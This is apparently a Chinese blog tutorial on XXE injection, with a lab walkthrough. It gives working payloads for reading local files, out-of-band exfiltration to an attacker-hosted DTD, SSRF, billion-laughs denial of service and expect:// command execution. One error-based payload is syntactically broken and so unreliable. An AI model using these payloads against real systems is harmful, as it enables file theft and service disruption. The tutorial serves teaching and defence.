赞
踩
目录
有一篇文章讲的很清楚,这里简单说明一下XEE详解
XML是一种标记语言,用于描述数据的结构和内容。它可以用来表示各种类型的数据,例如文本、数字、图像等。
XML设计的目的是为了使数据的交换和共享更加容易,同时也可以被用于数据的存储和传输。
用途:
例如如果想要Java程序和Python程序之间进行数据传输,就可以使用xml作为存放数据的载体,以此传输。
配置文件是用于给应用程序提供配置参数以及初始化设置的一些文件。
结构:
XML文档有自己的一个格式规范,这个格式规范由DTD控制,例如:
- <?xml version="1.0"?>
- <!DOCTYPE message [
- <!ELEMENT message (receiver ,sender ,header ,msg)>
- <!ELEMENT receiver (#PCDATA)>
- <!ELEMENT sender (#PCDATA)>
- <!ELEMENT header (#PCDATA)>
- <!ELEMENT msg (#PCDATA)>
XML存储数据对应格式:
- <message>
- <receiver>Myself</receiver>
- <sender>Someone</sender>
- <header>TheReminder</header>
- <msg>This is an amazing book</msg>
- </message>
很明显,DOCTYPE定义了根元素,ELEMENT定义了子元素。
再比如
- <?xml version="1.0" standalone="yes"?>
- <!DOCTYPE blog [
- <!ELEMENT author (#PCDATA) >
- <!ENTITY js "JO Smith" >]>
这里定义了一个xml的实体(实体其实可以看作成一个变量,到时候我们可以在xml中通过&符号引用),那么xml可以写成这样
- <blog>
- <author>&js;</author>
- </blog>
使用了&js对上面定义的js实体进行了引用,到时候输出的时候(即被解析器处理后)&js就会被"JO Smith"代替。
可以利用XML外部实体加载注入,就是当XML引用外部实体并解析的时候会产生的漏洞,XML解析器去获取其中的外部资源并存储到内部实体中,外部实体声明关键字'SYSTEM'会令XML解析器读取数据,构造恶意的值,去执行,攻击者可引用外部实体对目标进行文件读取、命令执行、DDOS、内网探测等。
实例代码:
- <?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE foo [
- <!ELEMENT foo ANY >
- <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
- <creds>
- <user>&xxe;</user>
- <pass>mypass</pass>
- </creds>
普通将实体分为内部实体和外部实体,也可以将实体分为通用实体和参数实体。
通用实体
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
- <updateProfile>
- <firstname>Joe</firstname>
- <lastname>&file;</lastname>
- ...
- </updateProfile>
参数实体
使用% 实体名(这里面的空格不能少)在DTD中定义,并且只能在DTD中使用`%实体名;`引用
- <!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
- <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
- %an-element; %remote-dtd;
示例payload代码:
- <?xml version='1.0'?>
- <!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
- <comment>
- <text>&test;</text>
- </comment>
依靠一道靶场加强一下感受:靶场地址
进入靶场之后,点击任意一个商品(view details),然后再点击Check stock并抓包,如图:
发现这里的productId和storeId是通过XML的形式传进来的,转发到Repeater模块,尝试通过File协议进行文件读取,其中构造payload为:
- <?xml version='1.0'?>
- <!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
- <stockCheck>
- <productId>&test;</productId>
- <storeId>
- 1
- </storeId>
- </stockCheck>
实验结果:
上面的例子是有回显的,即可以直接在页面上看到paylod的执行结果或现象。如果无回显的文件读取可以通过XEE盲注加上外带数据通道来提取数据(意思就是使用第三方平台来协助攻击)。
payload1:
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE data [
- <!ENTITY % file SYSTEM "file:///c://test/1.txt">
- <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
- %dtd; %all;
- ]>
- <value>&send;</value>
-
- evil.xml文件内容为
- <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
payload2:
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE root [
- <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
- <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
- %dtd;
- %send;
- ]>
- <root></root>
-
- evil.xml文件内容为:
- <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
先让%dtd请求远程服务器(攻击机)上的evil.xml,然后%payload调用了%file,%file获取服务器上的敏感文件,最终替换%send,数据被发送到我们远程的服务器,实现了数据的外带。
上面两个payload是加载远程的DTD,如果目标有防火墙等设备,阻止了对外连接,可以采用基于错误回显的XXE。这种方法最流行的一种就是加载本地的DTD文件。
payload:
- <?xml version="1.0" ?>
- <!DOCTYPE messege [
- <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/Websphere/AppServer/properties/sip-app10.dtd">
- <!ENTITY % condition'aaa)>
- <!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval "
- <!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
- %eval;
- %error;
- <!ENTITY aa (bb'>
- %local_dtd;
- ]>
- <message>any text</message>
/opt/IBM/Websphere/AppServer/properties/sip-app10.dtd是websphere上默认存在的DTD,可以通过加载它来触发报错返回读取文件的内容。
payload:
- <?xml version="1.0" ?>
- <!DOCTYPE ANY [
- <!ENTITY % ssrf SYSTEM "http://ip:port">
- %ssrf;
- ]>
payload:
- <?xml version="1.0" standalone="yes"?>
- <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
- <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
- <text font-size="16" x="0" y="16">
- &xxe;
- </text>
- </svg>
payload:
- <?xml version="1.0"?>
- <!DOCTYPE lolz [
- <!ENTITY lol "lol">
- <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
- <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
- <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
- <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
- <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
- <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
- <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
- <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
- ]>
- <lolz>&lol9;</lolz>
当xml解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用3G的内存。
php环境下,利用XXE命令执行需要php装有expect扩展,但是默认该扩展是不安装的,所以一般命令执行比较难以利用。
payload:
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY>
- <!ENTITY xxe SYSTEM "expect://ifconfig">
- ]>
- <root><name>&xxe;</name></root>
XXE漏洞归根到底是因为XML文档解析引入外部实体,禁止加载外部实体。
禁止加载外部实体是防御XXE最有效的方式了。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。